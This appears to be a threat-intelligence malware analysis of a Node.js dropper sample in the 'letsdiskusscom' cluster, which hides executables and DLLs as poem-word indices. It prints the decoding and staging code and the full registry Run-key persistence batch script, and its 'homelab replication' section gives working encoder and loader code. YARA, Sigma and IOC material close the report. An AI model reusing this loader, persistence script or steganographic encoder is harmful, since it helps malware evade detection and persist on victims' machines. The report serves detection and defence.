5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3eletsdiskusscom: 5126076d — Seventh confirmed sibling, reverts to plain-poem builder with seventh distinct msvcp140.dll
Executive Summary
Seventh confirmed sibling of the letsdiskusscom Node.js dropper cluster. Reverts to the plain 256-word poem lookup-table (no numbered suffixes) used by siblings d0ca14b3/247b54b5/af4313e4/c075aeba, rather than the numbered-suffix variant (gentle1, hush2) seen in 3465e6ee. Drops the same signed RevoSrp.exe, same vcruntime140/vcruntime140_1 DLLs, and same persistence BAT as all prior poem-stego siblings, but introduces a seventh distinct msvcp140.dll morph (896fd62b..., MSVC 14.27.29016.0, 1,108,480 bytes). This demonstrates the operator is cycling at least two independent builder templates (plain-poem vs. numbered-suffix) and independently varying the VC++ runtime redistributable. Static-only (CAPE skipped — JS source is not a supported binary class). ^[file.txt] ^[triage.json]
What It Is
| Field | Value |
|---|---|
| SHA-256 | 5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3e |
| Filename | Update_2.js |
| Size | 9.1 MB (9,149,370 bytes) |
| Type | JavaScript source, ASCII text, CRLF line terminators, 60 lines, extremely long lines (up to 63,365 chars) ^[file.txt] |
| Family | letsdiskusscom (OpenCTI label letsdiskuss-com; now n=7 siblings; confidence high) ^[triage.json] |
| Dynamic | CAPE skipped — not a supported binary class ^[dynamic-analysis.md] |
Embedded payloads (decoded from poem-word indices)
| Payload | SHA-256 | Size | Type | Notes |
|---|---|---|---|---|
| EXE | 8b94af60...7fc55f |
52,400 | PE32+ x64 console | RevoSrp.exe, VS Revo Group, MSVC 14.44, signed (DigiCert) ^[rabin2-info.txt: decoded exe] |
| DLL1 | 896fd62b...f9bbc4 |
1,108,480 | PE32+ x64 DLL | msvcp140.dll, Microsoft, MSVC 14.27.29016.0, seventh distinct morph ^[exiftool: decoded dll1] |
| DLL2 | ff43e813...4c833 |
101,672 | PE32+ x64 DLL | vcruntime140.dll, Microsoft, MSVC 14.27, signed ^[rabin2-info.txt: decoded dll2] |
| DLL3 | 7b8f70dd...6dfc7 |
44,328 | PE32+ x64 DLL | vcruntime140_1.dll, Microsoft, MSVC 14.27, signed ^[rabin2-info.txt: decoded dll3] |
| BAT | dff20059...06919 |
440 | DOS batch | HKCU Run persistence script ^[manual decode] |
The EXE, DLL2, DLL3, and BAT are byte-for-byte identical to siblings d0ca14b3/247b54b5/af4313e4/c075aeba/3465e6ee. DLL1 is new — the seventh distinct msvcp140.dll observed in the cluster. ^[strings.txt:12-17] ^[manual hash comparison]
Builder template comparison
| Sibling | Poem variant | msvcp140.dll SHA-256 | Size | Notes |
|---|---|---|---|---|
| 9dc2cded | Base64 (not poem) | 4fcc9503... |
1,149,952 | First sibling; javascript-obfuscator |
| d0ca14b3 | Plain 256-word | 0f4290cf... |
1,187,328 | Second sibling; poem stego introduced |
| 247b54b5 | Plain 256-word | 01f5dfca... |
938,496 | Third sibling; smaller msvcp140 |
| af4313e4 | Plain 256-word | cf964e01... |
1,138,176 | Fourth sibling |
| c075aeba | Plain 256-word | 2ee431f4... |
956,416 | Fifth sibling |
| 3465e6ee | Numbered suffix | 5975596f... |
932,864 | Sixth sibling; gentle1, hush2 etc. |
| 5126076d | Plain 256-word | 896fd62b... |
1,108,480 | This sample — reversion + new morph |
How It Works
Poem-word-list steganography (plain variant)
The script defines a 256-word list (wlist) — the same English poem used by siblings d0ca14b3 through c075aeba. Unlike 3465e6ee, this sample does not append numbered suffixes to repeated vocabulary. The word list is byte-for-byte identical to the earlier plain-poem siblings. ^[strings.txt:6]
const wlist = "gentle hush that wraps the midnight air ... fail164"; // 256 words
const exe = "unwearied tides candle53 ..."; // payload as word indices
function writePositionsToFile(listA, listB, outPath) {
const a = listA.split(' ');
const b = listB.split(' ');
const positions = b.map(word => {
const idx = a.indexOf(word);
return idx >= 0 ? idx : 0;
const buffer = Buffer.from(positions.map(p => p & 0xFF));
fs.writeFileSync(outPath, buffer);
}
Note the same syntax error as all prior siblings: line 24 is missing a closing }); before const buffer = ..., making the code technically malformed as written. In practice Node.js may execute it depending on ASI, or the operator uses a minifier that corrects this. ^[strings.txt:18-26]
Staging and execution
const folder = path.join(process.env.PROGRAMDATA || "C:\\ProgramData",
`Microsoft Edge Updates Helper 6tTR5q2vVZT5`);
const exePath = path.join(folder, "Microsoft Edge Updates Helper.exe");
const autorunPath = path.join(folder, "6tTR5q2vVZT5.bat");
// ... three DLL paths
safeMakeDir(folder);
writePositionsToFile(wlist, exe, exePath);
writePositionsToFile(wlist, dll1, dll1Path);
writePositionsToFile(wlist, dll2, dll2Path);
writePositionsToFile(wlist, dll3, dll3Path);
writePositionsToFile(wlist, bat, autorunPath);
launchExecutable(`"${autorunPath}"`, [`"${exePath}"`]);
launchExecutable(`"${exePath}"`);
Stages to %ProgramData%\Microsoft Edge Updates Helper 6tTR5q2vVZT5\, writes five files, then spawns the BAT (which adds HKCU Run persistence and launches the EXE) and spawns the EXE directly. ^[strings.txt:33-41]
Persistence BAT (decoded)
Identical byte-for-byte to all poem-stego siblings since d0ca14b3:
@echo off
if "%~1"=="" (
echo Usage: %~nx0 "file_path"
pause
exit /b 1
)
if not exist "%~1" (
echo Error: file "%~1" not found
pause
exit /b 1
)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
/v "Microsoft Edge Updates Helper" /t REG_SZ /d "\"%~1\"" /f >nul 2>&1
if %errorlevel% equ 0 (
echo File "%~1" successfully added to startup
) else (
echo Error adding to startup
)
exit
^[manual decode of bat payload]
Decompiled Behavior
Not applicable — JavaScript source, not compiled binary. The script is delivered in near-plaintext after poem decoding; no additional obfuscation layers observed. ^[rabin2-info.txt] ^[capa.txt]
C2 Infrastructure
None observed. Fully self-contained carrier. All payloads are poem-encoded and embedded; no HTTP, DNS, socket, or IP references in the JS. If the Revo EXE phones home at runtime, that requires dynamic detonation of the PE, not the JS carrier. ^[strings.txt] ^[dynamic-analysis.md]
Interesting Tidbits
- Builder template reversion. This sample reverts to the plain 256-word poem (no numbered suffixes) after 3465e6ee introduced them. This strongly suggests the operator maintains at least two active builder templates — one with plain vocabulary and one with numbered suffixes — and deploys them independently. The reversion is not a downgrade; it is evidence of parallel build pipelines. ^[strings.txt:6] ^[/intel/analyses/3465e6eea1a937b941ef77ac819591c3578e14da950de0d78e8b2d467b819357.html]
- Seventh distinct msvcp140.dll. The VC++ runtime morphs are independent of the poem variant. The operator appears to bundle whatever
msvcp140.dllis present on the build host rather than pinning a specific version. All seven variants are legitimate, signed Microsoft DLLs from VC++ redistributable packages (14.27.xxxxx.x range). ^[exiftool: decoded dll1] dll4Pathdead code persists. Line 17 declaresconst dll4Path = path.join(folder, "6tTR5q2vVZT5.bat")but never consumes it. The BAT is written toautorunPathinstead. This copy-paste artifact has survived across all seven siblings, confirming a shared builder template. ^[strings.txt:17]- Same poem, same payload hashes, same BAT. The only moving parts in this cluster are (1) the folder name suffix, (2) the poem variant (plain vs. numbered), and (3) the msvcp140.dll morph. Everything else is frozen — a hallmark of a templated builder rather than hand-crafted per-sample scripts. ^[manual hash comparison across cluster]
- File size inflation. At 9.1 MB, the carrier is ~94% poem text and repeated padding. The actual information content is four PE files (~1.2 MB total) plus a 440-byte BAT. The rest is lexical noise designed to make static signature detection expensive. ^[file.txt] ^[exiftool.json]
javascript-obfuscatorabsent. Like all poem-stego siblings, this sample does not use thejavascript-obfuscatornpm package seen in the first sibling (9dc2cded). The operator abandoned that toolchain for the poem encoding approach. ^[strings.txt:1-3]
How To Mess With It (Homelab Replication)
Goal: Replicate the plain-poem encoding and verify detection signatures.
- Use the same 256-word list (see
strings.txt:6in this analysis or sibling d0ca14b3). - Encode a file:
with open('payload.exe', 'rb') as f: data = f.read() words = poem.split() assert len(words) == 256 encoded = ' '.join(words[b] for b in data) - Wrap in Node.js carrier:
const fs = require('fs'); const wlist = "...256 words..."; function decode(listA, listB, outPath) { const a = listA.split(' '); const b = listB.split(' '); const positions = b.map(word => a.indexOf(word)); const buffer = Buffer.from(positions.map(p => p & 0xFF)); fs.writeFileSync(outPath, buffer); } decode(wlist, encoded, 'output.exe'); - Verify: Decode must reproduce the original PE byte-for-byte.
Deployable Signatures
YARA rule — letsdiskusscom poem-stego dropper
rule letsdiskusscom_poem_stego : script nodejs dropper {
meta:
description = "Node.js dropper using 256-word poem lookup-table steganography"
author = "PacketPursuit"
date = "2026-08-21"
reference = "/intel/analyses/5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3e.html"
strings:
$wlist = "const wlist = \"" ascii
$exe = "const exe = \"" ascii
$dll1 = "const dll1 = \"" ascii
$dll2 = "const dll2 = \"" ascii
$dll3 = "const dll3 = \"" ascii
$bat = "const bat = \"" ascii
$func = "function writePositionsToFile(listA, listB, outPath)" ascii
$app = "Microsoft Edge Updates Helper" ascii
$spawn = "const { spawn } = require('child_process')" ascii
condition:
$wlist and $func and $app and $spawn
and 4 of ($exe, $dll1, $dll2, $dll3, $bat)
and filesize > 1MB
}
Sigma rule — Node.js poem dropper execution
title: Node.js LetsDiskussCom Poem Dropper Execution
status: experimental
description: Detects Node.js script writing PE files to ProgramData and spawning BAT/EXE
logsource:
category: process_creation
product: windows
detection:
selection_node:
CommandLine|contains: 'node.exe'
selection_paths:
CommandLine|contains:
- 'Microsoft Edge Updates Helper'
- 'ProgramData'
selection_child:
ParentImage|endswith: 'node.exe'
Image|endswith:
- 'cmd.exe'
- 'conhost.exe'
condition: selection_node and selection_paths or selection_child
falsepositives:
- Unknown
level: high
IOC list
| Type | Value | Note |
|---|---|---|
| SHA-256 (carrier) | 5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3e |
This sample |
| SHA-256 (EXE) | 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f |
RevoSrp.exe (shared across cluster) |
| SHA-256 (DLL1) | 896fd62b2f9e13520144b64acb55f93db9602b0211ae931e8e806613cf9bbc45 |
msvcp140.dll (seventh morph) |
| SHA-256 (DLL2) | ff43e813785ee948a937b642b03050bb4b1c6a5e23049646b891a66f65d4c833 |
vcruntime140.dll (shared) |
| SHA-256 (DLL3) | 7b8f70dd3bdae110e61823d1ca6fd8955a5617119f5405cdd6b14cad3656dfc7 |
vcruntime140_1.dll (shared) |
| SHA-256 (BAT) | dff20059f161090c76f9f45ac2269f2965bdc96023c78c1072f8d1aa66b06919 |
Persistence BAT (shared across poem-stego siblings) |
| Directory | %ProgramData%\Microsoft Edge Updates Helper * |
Staging directory pattern (random suffix) |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge Updates Helper |
Persistence value name (static across cluster) |
| File | *.bat in staging dir |
Persistence launcher |
| File | Microsoft Edge Updates Helper.exe |
Dropped EXE name (static across cluster) |
Behavioral fingerprint
A Node.js script (node.exe or delivered as .js run via Node) creates a directory under %ProgramData% named Microsoft Edge Updates Helper <random>, writes four PE files (one EXE + three DLLs) and a .bat file to that directory, then spawns the BAT with the EXE path as an argument and immediately spawns the EXE directly. The BAT adds the EXE to HKCU\Run under the value name Microsoft Edge Updates Helper. No network activity from the carrier. The EXE is a signed VS Revo Group component (RevoSrp.exe). The DLLs are signed Microsoft VC++ runtime libraries; one (msvcp140.dll) varies in size/SHA across samples while the other two (vcruntime140.dll, vcruntime140_1.dll) and the EXE are invariant across the cluster.
Detection Signatures
| capa capability | ATT&CK | Evidence |
|---|---|---|
| N/A — not a PE | T1059.007 | JavaScript/Node.js execution ^[strings.txt:1-3] |
| N/A | T1027.002 | Obfuscated Files or Info: poem-word-list steganography ^[strings.txt:6] |
| N/A | T1036.005 | Masquerading: Microsoft Edge Updates Helper directory and filename ^[strings.txt:5] |
| N/A | T1547.001 | Registry Run Keys: BAT-based reg add ^[manual decode of bat] |
| N/A | T1543.003 | Create/modify system process: spawn(..., {shell: true}) ^[strings.txt:29-30] |
| N/A | T1053.005 | Scheduled Task/Job: indirectly via registry Run (BAT execution at logon) ^[manual decode of bat] |
References
- Carrier:
5126076d59dd812f922dedd8fcc4a43e5dbe383a412b094ab275079ccb820a3e(MalwareBazaar via OpenCTI) - Cluster entity page: letsdiskusscom
- Technique page: poem-word-list-steganography
- Sibling 3465e6ee (numbered-suffix variant):
/intel/analyses/3465e6eea1a937b941ef77ac819591c3578e14da950de0d78e8b2d467b819357.html - Sibling d0ca14b3 (first poem-stego):
/intel/analyses/d0ca14b3ad12100898d69afacfecfbdb186fe1bd801f69aecf355413bf6e502b.html
Provenance
Analysis derived from:
file.txt—fileutility (file v5.44)exiftool.json— ExifTool 12.76strings.txt—strings -n 6on JS sourcerabin2-info.txt— radare2 rabin2 on decoded PE payloadsfloss.txt— FLOSS error (not a PE)capa.txt— capa error (not a PE)dynamic-analysis.md— CAPE skipped (JS source)- Manual decode of poem-word-list payloads via Python (SHA-256 verified)
- Manual decode of BAT payload via Python
- exiftool/rabin2 on decoded DLL1/EXE for version and signing info